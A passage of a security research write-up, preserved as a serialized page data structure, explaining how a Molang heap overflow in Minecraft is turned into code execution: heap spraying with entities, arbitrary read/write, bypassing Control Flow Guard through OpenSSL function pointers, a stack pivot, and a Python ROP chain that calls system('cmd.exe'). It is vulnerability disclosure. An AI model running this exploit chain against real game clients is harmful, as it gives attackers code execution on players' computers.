overwritten:",{"type":23,"tag":220,"props":156904,"children":156906},{"code":156905},"    Heap Region 1                Heap Region 2    \n                                                  \n+-------------------+        +-------------------+\n|                   |        |                   |\n| MolangVariableMap |        |  MolangIndexMap   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n|                   |        |                   |\n|   Entity Object   |        |   Entity Object   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n|                   |        |                   |\n| MolangVariableMap |        |  MolangIndexMap   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n|                   |        |                   |\n|   Entity Object   |        |   Entity Object   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n",[156907],{"type":23,"tag":71,"props":156908,"children":156909},{"__ignoreMap":7},[156910],{"type":29,"value":156905},{"type":23,"tag":32,"props":156912,"children":156913},{},[156914,156916,156922,156924,156929,156931,156936,156938,156943,156944,156949],{"type":29,"value":156915},"The first region (",{"type":23,"tag":71,"props":156917,"children":156919},{"className":156918},[],[156920],{"type":29,"value":156921},"Heap Region 1",{"type":29,"value":156923},") contains alternating ",{"type":23,"tag":71,"props":156925,"children":156927},{"className":156926},[],[156928],{"type":29,"value":154707},{"type":29,"value":156930},"-allocated buffers and entity objects. The purpose of this region is that, once a variable index is out of bounds, it can index internal ",{"type":23,"tag":71,"props":156932,"children":156934},{"className":156933},[],[156935],{"type":29,"value":154737},{"type":29,"value":156937}," pointers of ",{"type":23,"tag":71,"props":156939,"children":156941},{"className":156940},[],[156942],{"type":29,"value":154707},{"type":29,"value":112},{"type":23,"tag":71,"props":156945,"children":156947},{"className":156946},[],[156948],{"type":29,"value":154883},{"type":29,"value":156950}," from the entity object for our main attack.",{"type":23,"tag":32,"props":156952,"children":156953},{},[156954,156956,156962,156964,156969,156971,156976,156978,156983,156985,156990],{"type":29,"value":156955},"The second region (",{"type":23,"tag":71,"props":156957,"children":156959},{"className":156958},[],[156960],{"type":29,"value":156961},"Heap Region 2",{"type":29,"value":156963},") contains interleaved ",{"type":23,"tag":71,"props":156965,"children":156967},{"className":156966},[],[156968],{"type":29,"value":154883},{"type":29,"value":156970},"-allocated buffers and entity objects. This region exists so we can leak an entity object's ",{"type":23,"tag":71,"props":156972,"children":156974},{"className":156973},[],[156975],{"type":29,"value":156718},{"type":29,"value":156977}," pointer into ",{"type":23,"tag":71,"props":156979,"children":156981},{"className":156980},[],[156982],{"type":29,"value":156647},{"type":29,"value":156984}," during our main attack. It could be any object with a ",{"type":23,"tag":71,"props":156986,"children":156988},{"className":156987},[],[156989],{"type":29,"value":156718},{"type":29,"value":156991},", but for simplicity we use the entity object.",{"type":23,"tag":32,"props":156993,"children":156994},{},[156995,156997,157003,157005,157010],{"type":29,"value":156996},"During the attack, overwriting another variable's pointer with\n",{"type":23,"tag":71,"props":156998,"children":157000},{"className":156999},[],[157001],{"type":29,"value":157002},"variable.corrupted_var_map_ptr = variable.corrupted_len_ptr",{"type":29,"value":157004}," will very likely clobber the ",{"type":23,"tag":71,"props":157006,"children":157008},{"className":157007},[],[157009],{"type":29,"value":155203},{"type":29,"value":157011}," pointer of a different entity than the one subject to the initial index corruption. In practice this means: an entity affected by the initial corruption will leak and compute an arbitrary read/write address, then use that address to overwrite a variable pointer in a second, separate entity. The second entity is then used purely to perform arbitrary reads and writes via that variable.",{"type":23,"tag":32,"props":157013,"children":157014},{},[157015],{"type":29,"value":157016},"Because of this cross-entity behavior, we must synchronize all entities. At the time we implemented the exploit we couldn't find a clean way to force synchronized execution. Our workaround was to place all allocated entities at the same world position and put the Molang script into the animation section. Animation scripts are not executed for entities outside the client's field of view, so none of the Molang code runs until the entities become visible.",{"type":23,"tag":32,"props":157018,"children":157019},{},[157020],{"type":29,"value":157021},"The final exploit proceeds in three stages:",{"type":23,"tag":144,"props":157023,"children":157024},{},[157025,157030,157035],{"type":23,"tag":102,"props":157026,"children":157027},{},[157028],{"type":29,"value":157029},"Position the player so the sprayed entities are out of view (their Molang scripts remain dormant)",{"type":23,"tag":102,"props":157031,"children":157032},{},[157033],{"type":29,"value":157034},"Perform the heap spray with signs to create the desired layout for the attack",{"type":23,"tag":102,"props":157036,"children":157037},{},[157038],{"type":29,"value":157039},"Move the client so all sprayed entities enter the field of view - their animation scripts (our Molang payload) then execute, triggering the leak and the subsequent arbitrary read/write primitive.",{"type":23,"tag":192,"props":157041,"children":157043},{"id":157042},"initial-corruption-variant-lfh-heap-approach",[157044],{"type":29,"value":157045},"Initial Corruption Variant: LFH Heap Approach",{"type":23,"tag":32,"props":157047,"children":157048},{},[157049],{"type":29,"value":157050},"As mentioned above, LFH heap chunks have no headers and chunk data is adjacent, so the attack can also be carried out in the LFH heap instead of the VS heap. In that case the chunk overlap method is unnecessary - the overflown 4-byte value can be used directly to overwrite the first two variable indices.",{"type":23,"tag":32,"props":157052,"children":157053},{},[157054,157056,157061,157062,157068],{"type":29,"value":157055},"There is no variable at index 0 in the global variable map because when a new variable is encountered it is assigned ",{"type":23,"tag":71,"props":157057,"children":157059},{"className":157058},[],[157060],{"type":29,"value":154950},{"type":29,"value":8824},{"type":23,"tag":71,"props":157063,"children":157065},{"className":157064},[],[157066],{"type":29,"value":157067},"last_index",{"type":29,"value":157069}," is initialized to 0 at program start. Therefore the first two bytes of the 4-byte overflow are irrelevant - only the last two bytes overwrite a single variable index.",{"type":23,"tag":32,"props":157071,"children":157072},{},[157073,157075,157080,157081,157086,157088,157093,157095,157100,157102,157107,157109,157115,157116,157122,157123,157129],{"type":29,"value":157074},"The main attack can be arranged by making the resulting index point at the ",{"type":23,"tag":71,"props":157076,"children":157078},{"className":157077},[],[157079],{"type":29,"value":151903},{"type":29,"value":155688},{"type":23,"tag":71,"props":157082,"children":157084},{"className":157083},[],[157085],{"type":29,"value":154883},{"type":29,"value":157087},". From there, the script can overwrite three variable indices at offset ",{"type":23,"tag":71,"props":157089,"children":157091},{"className":157090},[],[157092],{"type":29,"value":154641},{"type":29,"value":157094}," within the ",{"type":23,"tag":71,"props":157096,"children":157098},{"className":157097},[],[157099],{"type":29,"value":154883},{"type":29,"value":157101}," by using the string type. This works because a Molang string's value is just a ",{"type":23,"tag":71,"props":157103,"children":157105},{"className":157104},[],[157106],{"type":29,"value":57408},{"type":29,"value":157108}," FNV-1 hash; the required string can be found by brute-forcing until the hash contains the three target indices. For example, to overwrite three indices with values ",{"type":23,"tag":71,"props":157110,"children":157112},{"className":157111},[],[157113],{"type":29,"value":157114},"0xfb",{"type":29,"value":684},{"type":23,"tag":71,"props":157117,"children":157119},{"className":157118},[],[157120],{"type":29,"value":157121},"0xfc",{"type":29,"value":112},{"type":23,"tag":71,"props":157124,"children":157126},{"className":157125},[],[157127],{"type":29,"value":157128},"0xfd",{"type":29,"value":157130}," the script would do:",{"type":23,"tag":220,"props":157132,"children":157134},{"code":157133},"variable.corrupted_index_map_ptr = 'r80n3jsuc';\n",[157135],{"type":23,"tag":71,"props":157136,"children":157137},{"__ignoreMap":7},[157138],{"type":29,"value":157133},{"type":23,"tag":32,"props":157140,"children":157141},{},[157142,157144,157149,157150,157156,157158,157163],{"type":29,"value":157143},"That line would write the ",{"type":23,"tag":71,"props":157145,"children":157147},{"className":157146},[],[157148],{"type":29,"value":57408},{"type":29,"value":93952},{"type":23,"tag":71,"props":157151,"children":157153},{"className":157152},[],[157154],{"type":29,"value":157155},"0x302700fb00fc00fd",{"type":29,"value":157157}," (string's FNV-1 hash) into the allocated ",{"type":23,"tag":71,"props":157159,"children":157161},{"className":157160},[],[157162],{"type":29,"value":154883},{"type":29,"value":157164}," buffer, overwriting three indices with the required values and setting up the desired arbitrary read / write primitive state.",{"type":23,"tag":59,"props":157166,"children":157168},{"id":157167},"hijacking-execution",[157169],{"type":29,"value":157170},"Hijacking Execution",{"type":23,"tag":32,"props":157172,"children":157173},{},[157174,157176,157181,157183,157189],{"type":29,"value":157175},"Although we can read and write arbitrary values inside the Minecraft memory region - including many ",{"type":23,"tag":71,"props":157177,"children":157179},{"className":157178},[],[157180],{"type":29,"value":156718},{"type":29,"value":157182}," and function pointers in the writable ",{"type":23,"tag":71,"props":157184,"children":157186},{"className":157185},[],[157187],{"type":29,"value":157188},".data",{"type":29,"value":157190}," section - the exploit is not complete: Control Flow Guard (CFG) prevents us from gaining arbitrary code execution by overwriting those pointers and executing a ROP chain.",{"type":23,"tag":32,"props":157192,"children":157193},{},[157194],{"type":29,"value":157195},"CFG is a runtime mitigation that blocks indirect jumps/calls to unapproved addresses; it will crash on an indirect transfer to a location not in its valid-target set.",{"type":23,"tag":32,"props":157197,"children":157198},{},[157199],{"type":29,"value":157200},"Examining Minecraft-specific functions and their disassembly shows the following:",{"type":23,"tag":32,"props":157202,"children":157203},{},[157204],{"type":23,"tag":93,"props":157205,"children":157207},{"alt":52351,"src":157206},"/posts/minecraft-heap-overflow-to-rce/image11.png",[],{"type":23,"tag":32,"props":157209,"children":157210},{},[157211,157213,157219,157221,157227,157229,157234,157236,157241,157243,157249,157251,157256,157258,157264,157266,157271],{"type":29,"value":157212},"This snippet calls a method on an object: ",{"type":23,"tag":71,"props":157214,"children":157216},{"className":157215},[],[157217],{"type":29,"value":157218},"rcx",{"type":29,"value":157220}," holds the object pointer, the first ",{"type":23,"tag":71,"props":157222,"children":157224},{"className":157223},[],[157225],{"type":29,"value":157226},"mov",{"type":29,"value":157228}," loads the object's ",{"type":23,"tag":71,"props":157230,"children":157232},{"className":157231},[],[157233],{"type":29,"value":156718},{"type":29,"value":157235}," into ",{"type":23,"tag":71,"props":157237,"children":157239},{"className":157238},[],[157240],{"type":29,"value":58548},{"type":29,"value":157242},", and the function pointer at ",{"type":23,"tag":71,"props":157244,"children":157246},{"className":157245},[],[157247],{"type":29,"value":157248},"rax + 0x8",{"type":29,"value":157250}," is read into ",{"type":23,"tag":71,"props":157252,"children":157254},{"className":157253},[],[157255],{"type":29,"value":58548},{"type":29,"value":157257},". Finally, ",{"type":23,"tag":71,"props":157259,"children":157261},{"className":157260},[],[157262],{"type":29,"value":157263},"__guard_dispatch_icall_fptr",{"type":29,"value":157265}," is called - this is the CFG dispatch function that validates ",{"type":23,"tag":71,"props":157267,"children":157269},{"className":157268},[],[157270],{"type":29,"value":58548},{"type":29,"value":157272}," as a legal call target before invoking it.",{"type":23,"tag":32,"props":157274,"children":157275},{},[157276],{"type":29,"value":157277},"All DLLs in the Minecraft directory are compiled with CFG. However, we later found an assembly snippet in the Minecraft executable that calls an object method directly, without a CFG dispatch:",{"type":23,"tag":32,"props":157279,"children":157280},{},[157281],{"type":23,"tag":93,"props":157282,"children":157284},{"alt":52351,"src":157283},"/posts/minecraft-heap-overflow-to-rce/image12.png",[],{"type":23,"tag":32,"props":157286,"children":157287},{},[157288,157290,157296,157298,157304],{"type":29,"value":157289},"Here, the function pointer at ",{"type":23,"tag":71,"props":157291,"children":157293},{"className":157292},[],[157294],{"type":29,"value":157295},"vtable + 0x10",{"type":29,"value":157297}," is loaded into ",{"type":23,"tag":71,"props":157299,"children":157301},{"className":157300},[],[157302],{"type":29,"value":157303},"rdx",{"type":29,"value":157305}," and then called directly.",{"type":23,"tag":32,"props":157307,"children":157308},{},[157309],{"type":29,"value":157310},"This code comes from OpenSSL, and none of the OpenSSL-specific sections contain CFG dispatch calls. Presumably OpenSSL was compiled without CFG and then statically linked into the executable.",{"type":23,"tag":32,"props":157312,"children":157313},{},[157314,157316,157321],{"type":29,"value":157315},"So the remaining task is to locate OpenSSL function or ",{"type":23,"tag":71,"props":157317,"children":157319},{"className":157318},[],[157320],{"type":29,"value":156718},{"type":29,"value":157322}," pointers within Minecraft's writable sections and use those as overwrite targets to hijack execution.",{"type":23,"tag":192,"props":157324,"children":157326},{"id":157325},"locating-overwrite-targets",[157327],{"type":29,"value":157328},"Locating Overwrite Targets",{"type":23,"tag":32,"props":157330,"children":157331},{},[157332,157334,157340,157341,157346,157348,157353,157355,157361],{"type":29,"value":157333},"One of the first targets we identified were the ",{"type":23,"tag":71,"props":157335,"children":157337},{"className":157336},[],[157338],{"type":29,"value":157339},"malloc",{"type":29,"value":112},{"type":23,"tag":71,"props":157342,"children":157344},{"className":157343},[],[157345],{"type":29,"value":151951},{"type":29,"value":157347}," callbacks. These reside in the ",{"type":23,"tag":71,"props":157349,"children":157351},{"className":157350},[],[157352],{"type":29,"value":157188},{"type":29,"value":157354}," section and are invoked whenever they don’t match the expected ",{"type":23,"tag":71,"props":157356,"children":157358},{"className":157357},[],[157359],{"type":29,"value":157360},"OPENSSL_malloc/free",{"type":29,"value":133809},{"type":23,"tag":32,"props":157363,"children":157364},{},[157365],{"type":23,"tag":93,"props":157366,"children":157368},{"alt":52351,"src":157367},"/posts/minecraft-heap-overflow-to-rce/image13.png",[],{"type":23,"tag":32,"props":157370,"children":157371},{},[157372],{"type":29,"value":157373},"However, none of the registers held a pointer to a controllable region where we could place our ROP chain.",{"type":23,"tag":32,"props":157375,"children":157376},{},[157377,157379,157385,157387,157393,157395,157400],{"type":29,"value":157378},"Later, we found another promising function: ",{"type":23,"tag":71,"props":157380,"children":157382},{"className":157381},[],[157383],{"type":29,"value":157384},"ossl_ec_key_new_method_int",{"type":29,"value":157386},". This function creates and initializes an ",{"type":23,"tag":71,"props":157388,"children":157390},{"className":157389},[],[157391],{"type":29,"value":157392},"EC_KEY",{"type":29,"value":157394}," object. What makes it particularly interesting is that it relies on a global structure (in ",{"type":23,"tag":71,"props":157396,"children":157398},{"className":157397},[],[157399],{"type":29,"value":157188},{"type":29,"value":157401},") containing function pointers:",{"type":23,"tag":32,"props":157403,"children":157404},{},[157405],{"type":23,"tag":93,"props":157406,"children":157408},{"alt":52351,"src":157407},"/posts/minecraft-heap-overflow-to-rce/image14.png",[],{"type":23,"tag":32,"props":157410,"children":157411},{},[157412,157414,157420,157421,157427,157429,157434,157436,157442,157444,157449,157451,157456,157458,157463],{"type":29,"value":157413},"In the image above, ",{"type":23,"tag":71,"props":157415,"children":157417},{"className":157416},[],[157418],{"type":29,"value":157419},"ret->meth",{"type":29,"value":127273},{"type":23,"tag":71,"props":157422,"children":157424},{"className":157423},[],[157425],{"type":29,"value":157426},"default_ec_key_meth",{"type":29,"value":157428},", which points to a structure of function pointers located in ",{"type":23,"tag":71,"props":157430,"children":157432},{"className":157431},[],[157433],{"type":29,"value":157188},{"type":29,"value":157435},". It then calls ",{"type":23,"tag":71,"props":157437,"children":157439},{"className":157438},[],[157440],{"type":29,"value":157441},"ret->meth->init",{"type":29,"value":157443},", passing the ",{"type":23,"tag":71,"props":157445,"children":157447},{"className":157446},[],[157448],{"type":29,"value":437},{"type":29,"value":157450}," pointer (",{"type":23,"tag":71,"props":157452,"children":157454},{"className":157453},[],[157455],{"type":29,"value":13321},{"type":29,"value":157457},"). This alone isn’t especially useful because ",{"type":23,"tag":71,"props":157459,"children":157461},{"className":157460},[],[157462],{"type":29,"value":13321},{"type":29,"value":157464}," is heap-allocated.",{"type":23,"tag":32,"props":157466,"children":157467},{},[157468,157470,157475],{"type":29,"value":157469},"But, if we look at how ",{"type":23,"tag":71,"props":157471,"children":157473},{"className":157472},[],[157474],{"type":29,"value":157441},{"type":29,"value":157476}," is invoked in the disassembly:",{"type":23,"tag":32,"props":157478,"children":157479},{},[157480],{"type":23,"tag":93,"props":157481,"children":157483},{"alt":52351,"src":157482},"/posts/minecraft-heap-overflow-to-rce/image15.png",[],{"type":23,"tag":32,"props":157485,"children":157486},{},[157487,157488,157493,157495,157500,157502,157507,157509,157514,157516,157521,157523,157528,157530,157535,157537,157543],{"type":29,"value":9816},{"type":23,"tag":71,"props":157489,"children":157491},{"className":157490},[],[157492],{"type":29,"value":157441},{"type":29,"value":157494}," is not ",{"type":23,"tag":71,"props":157496,"children":157498},{"className":157497},[],[157499],{"type":29,"value":56269},{"type":29,"value":157501},", it is called while ",{"type":23,"tag":71,"props":157503,"children":157505},{"className":157504},[],[157506],{"type":29,"value":58548},{"type":29,"value":157508}," still contains the value of ",{"type":23,"tag":71,"props":157510,"children":157512},{"className":157511},[],[157513],{"type":29,"value":157419},{"type":29,"value":157515}," - that is, a pointer to the structure in ",{"type":23,"tag":71,"props":157517,"children":157519},{"className":157518},[],[157520],{"type":29,"value":157188},{"type":29,"value":157522}," that we control. This is ideal, because we can overwrite ",{"type":23,"tag":71,"props":157524,"children":157526},{"className":157525},[],[157527],{"type":29,"value":157426},{"type":29,"value":157529}," with a pointer to a region in ",{"type":23,"tag":71,"props":157531,"children":157533},{"className":157532},[],[157534],{"type":29,"value":157188},{"type":29,"value":157536}," where our ROP chain is located, and then perform a stack pivot using a ",{"type":23,"tag":71,"props":157538,"children":157540},{"className":157539},[],[157541],{"type":29,"value":157542},"mov rsp, rax; ret",{"type":29,"value":157544},"-style gadget.",{"type":23,"tag":32,"props":157546,"children":157547},{},[157548,157550,157555,157557,157562],{"type":29,"value":157549},"Although we discovered that ",{"type":23,"tag":71,"props":157551,"children":157553},{"className":157552},[],[157554],{"type":29,"value":157384},{"type":29,"value":157556}," is never called by the Minecraft process, this did not turn out to be a problem as we had already found a way to trigger arbitrary function calls through the ",{"type":23,"tag":71,"props":157558,"children":157560},{"className":157559},[],[157561],{"type":29,"value":157360},{"type":29,"value":157563}," callbacks.",{"type":23,"tag":192,"props":157565,"children":157567},{"id":157566},"stack-pivot",[157568],{"type":29,"value":157569},"Stack Pivot",{"type":23,"tag":32,"props":157571,"children":157572},{},[157573,157575,157580,157582,157587,157589,157594,157596,157602],{"type":29,"value":157574},"At this point, the plan is as follows: write our ROP chain into a controlled region of ",{"type":23,"tag":71,"props":157576,"children":157578},{"className":157577},[],[157579],{"type":29,"value":157188},{"type":29,"value":157581},", overwrite ",{"type":23,"tag":71,"props":157583,"children":157585},{"className":157584},[],[157586],{"type":29,"value":157426},{"type":29,"value":157588}," to set up the stack pivot, and finally overwrite one of the callbacks so that calling it triggers ",{"type":23,"tag":71,"props":157590,"children":157592},{"className":157591},[],[157593],{"type":29,"value":157384},{"type":29,"value":157595},". This ultimately calls ",{"type":23,"tag":71,"props":157597,"children":157599},{"className":157598},[],[157600],{"type":29,"value":157601},"default_ec_key_meth->init",{"type":29,"value":157603},", which executes the pivot and begins ROP execution.",{"type":23,"tag":32,"props":157605,"children":157606},{},[157607,157609,157615,157617,157623],{"type":29,"value":157608},"We chose to overwrite the ",{"type":23,"tag":71,"props":157610,"children":157612},{"className":157611},[],[157613],{"type":29,"value":157614},"OPENSSL_free",{"type":29,"value":157616}," callback. This produces only a minor memory leak, while overwriting ",{"type":23,"tag":71,"props":157618,"children":157620},{"className":157619},[],[157621],{"type":29,"value":157622},"OPENSSL_malloc",{"type":29,"value":157624}," would require our replacement function to return a writable, unused memory region.",{"type":23,"tag":32,"props":157626,"children":157627},{},[157628,157630,157636,157637,157643,157645,157650],{"type":29,"value":157629},"For the stack pivot, we found two useful gadgets: ",{"type":23,"tag":71,"props":157631,"children":157633},{"className":157632},[],[157634],{"type":29,"value":157635},"add rsp, 0x10; pop r14; ret",{"type":29,"value":112},{"type":23,"tag":71,"props":157638,"children":157640},{"className":157639},[],[157641],{"type":29,"value":157642},"xchg rsp, rax; ret",{"type":29,"value":157644},". The exploit writes them into ",{"type":23,"tag":71,"props":157646,"children":157648},{"className":157647},[],[157649],{"type":29,"value":157188},{"type":29,"value":157651}," like this:",{"type":23,"tag":220,"props":157653,"children":157655},{"code":157654},"      +-----------------------------+\n+0x00 | add rsp, 0x10; pop r14; ret |\n      +-----------------------------+\n+0x08 | padding                     |\n      +-----------------------------+\n+0x10 | xchg rsp, rax; ret          |\n      +-----------------------------+\n+0x18 | padding (pop r14)           |\n      +-----------------------------+\n+0x20 | ROP Chain                   |\n      +-----------------------------+\n",[157656],{"type":23,"tag":71,"props":157657,"children":157658},{"__ignoreMap":7},[157659],{"type":29,"value":157654},{"type":23,"tag":32,"props":157661,"children":157662},{},[157663,157665,157670,157672,157677,157679,157684,157686,157691,157693,157698,157700,157705,157707,157712],{"type":29,"value":157664},"The second gadget, ",{"type":23,"tag":71,"props":157666,"children":157668},{"className":157667},[],[157669],{"type":29,"value":157642},{"type":29,"value":157671},", is placed in the slot corresponding to the ",{"type":23,"tag":71,"props":157673,"children":157675},{"className":157674},[],[157676],{"type":29,"value":23055},{"type":29,"value":157678}," function pointer. As mentioned earlier, when ",{"type":23,"tag":71,"props":157680,"children":157682},{"className":157681},[],[157683],{"type":29,"value":157441},{"type":29,"value":157685}," is called, ",{"type":23,"tag":71,"props":157687,"children":157689},{"className":157688},[],[157690],{"type":29,"value":58548},{"type":29,"value":157692}," contains a pointer to ",{"type":23,"tag":71,"props":157694,"children":157696},{"className":157695},[],[157697],{"type":29,"value":157426},{"type":29,"value":157699}," - which we have overwritten and now points to our ",{"type":23,"tag":71,"props":157701,"children":157703},{"className":157702},[],[157704],{"type":29,"value":157635},{"type":29,"value":157706}," gadget in ",{"type":23,"tag":71,"props":157708,"children":157710},{"className":157709},[],[157711],{"type":29,"value":157188},{"type":29,"value":312},{"type":23,"tag":32,"props":157714,"children":157715},{},[157716,157718,157724,157726,157731,157733,157739,157741,157746,157748,157753,157755,157760,157762,157767,157769,157774,157776,157781],{"type":29,"value":157717},"When the call occurs, ",{"type":23,"tag":71,"props":157719,"children":157721},{"className":157720},[],[157722],{"type":29,"value":157723},"xchg rsp, rax",{"type":29,"value":157725}," swaps the stack pointer with this controlled pointer inside ",{"type":23,"tag":71,"props":157727,"children":157729},{"className":157728},[],[157730],{"type":29,"value":157188},{"type":29,"value":157732},", effectively moving ",{"type":23,"tag":71,"props":157734,"children":157736},{"className":157735},[],[157737],{"type":29,"value":157738},"rsp",{"type":29,"value":157740}," into our ROP region. After the ",{"type":23,"tag":71,"props":157742,"children":157744},{"className":157743},[],[157745],{"type":29,"value":13321},{"type":29,"value":157747},", execution continues at ",{"type":23,"tag":71,"props":157749,"children":157751},{"className":157750},[],[157752],{"type":29,"value":157635},{"type":29,"value":157754},", which advances ",{"type":23,"tag":71,"props":157756,"children":157758},{"className":157757},[],[157759],{"type":29,"value":157738},{"type":29,"value":157761}," by ",{"type":23,"tag":71,"props":157763,"children":157765},{"className":157764},[],[157766],{"type":29,"value":46304},{"type":29,"value":157768}," bytes, skipping over the padding and the ",{"type":23,"tag":71,"props":157770,"children":157772},{"className":157771},[],[157773],{"type":29,"value":157642},{"type":29,"value":157775}," gadget. From there, the stack pivot is complete and the ROP chain (placed above ",{"type":23,"tag":71,"props":157777,"children":157779},{"className":157778},[],[157780],{"type":29,"value":157642},{"type":29,"value":157782},") begins executing.",{"type":23,"tag":59,"props":157784,"children":157786},{"id":157785},"rop-chain",[157787],{"type":29,"value":157788},"ROP Chain",{"type":23,"tag":32,"props":157790,"children":157791},{},[157792,157794,157800,157802,157807],{"type":29,"value":157793},"For the demo, the ROP chain simply calls ",{"type":23,"tag":71,"props":157795,"children":157797},{"className":157796},[],[157798],{"type":29,"value":157799},"system(\"cmd.exe\")",{"type":29,"value":157801},". Because Minecraft does not use ",{"type":23,"tag":71,"props":157803,"children":157805},{"className":157804},[],[157806],{"type":29,"value":133531},{"type":29,"value":157808},", the symbol is not imported, so the chain must resolve it dynamically.",{"type":23,"tag":32,"props":157810,"children":157811},{},[157812,157814,157820,157822,157828,157830,157835,157837,157843,157845,157850],{"type":29,"value":157813},"This is straightforward: the chain first calls ",{"type":23,"tag":71,"props":157815,"children":157817},{"className":157816},[],[157818],{"type":29,"value":157819},"GetModuleHandle(\"ucrtbase.dll\")",{"type":29,"value":157821}," to obtain the base address of ",{"type":23,"tag":71,"props":157823,"children":157825},{"className":157824},[],[157826],{"type":29,"value":157827},"ucrtbase.dll",{"type":29,"value":157829}," (which exports ",{"type":23,"tag":71,"props":157831,"children":157833},{"className":157832},[],[157834],{"type":29,"value":133531},{"type":29,"value":157836},"). It then calls ",{"type":23,"tag":71,"props":157838,"children":157840},{"className":157839},[],[157841],{"type":29,"value":157842},"GetProcAddress(ucrtbase_addr, \"system\")",{"type":29,"value":157844}," to retrieve the function’s address. Finally, it invokes ",{"type":23,"tag":71,"props":157846,"children":157848},{"className":157847},[],[157849],{"type":29,"value":133531},{"type":29,"value":157851}," with the \"cmd.exe\" string.",{"type":23,"tag":32,"props":157853,"children":157854},{},[157855],{"type":29,"value":157856},"In the exploit script, the ROP chain looks something like this:",{"type":23,"tag":220,"props":157858,"children":157860},{"code":157859,"language":21776,"meta":7,"className":21777,"style":7},"# get the address of `GetModuleHandle` to `rax`\nrop.gadget(pop_r8)\nrop.gadget(addr_get_module_handle_a - 0x28)\n# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\nrop.gadget(mov_rax_r8_28)\n\n# call `GetModuleHandle(\"ucrtbase.dll\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468B68) # offset of \"ucrtbase.dll\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `GetModuleHandle`\nrop.literal(u64(b\"ucrtbase\"))\nrop.literal(u64(b\".dll\\x00\\x00\\x00\\x00\"))\nrop.literal(u64(b\"system\\x00\\x00\"))\n\n# call `GetProcAddress(ucrtbase_base, \"system\")`\nrop.gadget(xchg_rcx_rax) # move the return value of `GetModuleHandle` to rcx\nrop.gadget(pop_rdx)\nrop.gadget(0x7468B68 + 0x10) # offset of \"system\" string\nrop.gadget(get_proc_addr)\n\n# call `system(\"cmd.exe\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468DB8) # offset of \"cmd.exe\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `system`\nrop.literal(u64(b\"cmd.exe\\x00\"))\n",[157861],{"type":23,"tag":71,"props":157862,"children":157863},{"__ignoreMap":7},[157864,157872,157880,157905,157913,157921,157928,157936,157944,157971,157984,157997,158018,158047,158076,158083,158091,158104,158112,158148,158156,158163,158171,158178,158203,158214,158226],{"type":23,"tag":230,"props":157865,"children":157866},{"class":232,"line":233},[157867],{"type":23,"tag":230,"props":157868,"children":157869},{"style":237},[157870],{"type":29,"value":157871},"# get the address of `GetModuleHandle` to `rax`\n",{"type":23,"tag":230,"props":157873,"children":157874},{"class":232,"line":243},[157875],{"type":23,"tag":230,"props":157876,"children":157877},{"style":274},[157878],{"type":29,"value":157879},"rop.gadget(pop_r8)\n",{"type":23,"tag":230,"props":157881,"children":157882},{"class":232,"line":252},[157883,157888,157892,157897,157901],{"type":23,"tag":230,"props":157884,"children":157885},{"style":274},[157886],{"type":29,"value":157887},"rop.gadget(addr_get_module_handle_a ",{"type":23,"tag":230,"props":157889,"children":157890},{"style":268},[157891],{"type":29,"value":6665},{"type":23,"tag":230,"props":157893,"children":157894},{"style":256},[157895],{"type":29,"value":157896}," 0x",{"type":23,"tag":230,"props":157898,"children":157899},{"style":5149},[157900],{"type":29,"value":136648},{"type":23,"tag":230,"props":157902,"children":157903},{"style":274},[157904],{"type":29,"value":4516},{"type":23,"tag":230,"props":157906,"children":157907},{"class":232,"line":280},[157908],{"type":23,"tag":230,"props":157909,"children":157910},{"style":237},[157911],{"type":29,"value":157912},"# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\n",{"type":23,"tag":230,"props":157914,"children":157915},{"class":232,"line":334},[157916],{"type":23,"tag":230,"props":157917,"children":157918},{"style":274},[157919],{"type":29,"value":157920},"rop.gadget(mov_rax_r8_28)\n",{"type":23,"tag":230,"props":157922,"children":157923},{"class":232,"line":371},[157924],{"type":23,"tag":230,"props":157925,"children":157926},{"emptyLinePlaceholder":18},[157927],{"type":29,"value":459},{"type":23,"tag":230,"props":157929,"children":157930},{"class":232,"line":391},[157931],{"type":23,"tag":230,"props":157932,"children":157933},{"style":237},[157934],{"type":29,"value":157935},"# call `GetModuleHandle(\"ucrtbase.dll\")`\n",{"type":23,"tag":230,"props":157937,"children":157938},{"class":232,"line":400},[157939],{"type":23,"tag":230,"props":157940,"children":157941},{"style":274},[157942],{"type":29,"value":157943},"rop.gadget(pop_rcx)\n",{"type":23,"tag":230,"props":157945,"children":157946},{"class":232,"line":444},[157947,157952,157957,157962,157966],{"type":23,"tag":230,"props":157948,"children":157949},{"style":274},[157950],{"type":29,"value":157951},"rop.gadget(",{"type":23,"tag":230,"props":157953,"children":157954},{"style":256},[157955],{"type":29,"value":157956},"0x",{"type":23,"tag":230,"props":157958,"children":157959},{"style":5149},[157960],{"type":29,"value":157961},"7468B68",{"type":23,"tag":230,"props":157963,"children":157964},{"style":274},[157965],{"type":29,"value":703},{"type":23,"tag":230,"props":157967,"children":157968},{"style":237},[157969],{"type":29,"value":157970},"# offset of \"ucrtbase.dll\" string\n",{"type":23,"tag":230,"props":157972,"children":157973},{"class":232,"line":453},[157974,157979],{"type":23,"tag":230,"props":157975,"children":157976},{"style":274},[157977],{"type":29,"value":157978},"rop.gadget(ret) ",{"type":23,"tag":230,"props":157980,"children":157981},{"style":237},[157982],{"type":29,"value":157983},"# movaps alignment\n",{"type":23,"tag":230,"props":157985,"children":157986},{"class":232,"line":462},[157987,157992],{"type":23,"tag":230,"props":157988,"children":157989},{"style":274},[157990],{"type":29,"value":157991},"rop.gadget(push_rax_ret) ",{"type":23,"tag":230,"props":157993,"children":157994},{"style":237},[157995],{"type":29,"value":157996},"# calls 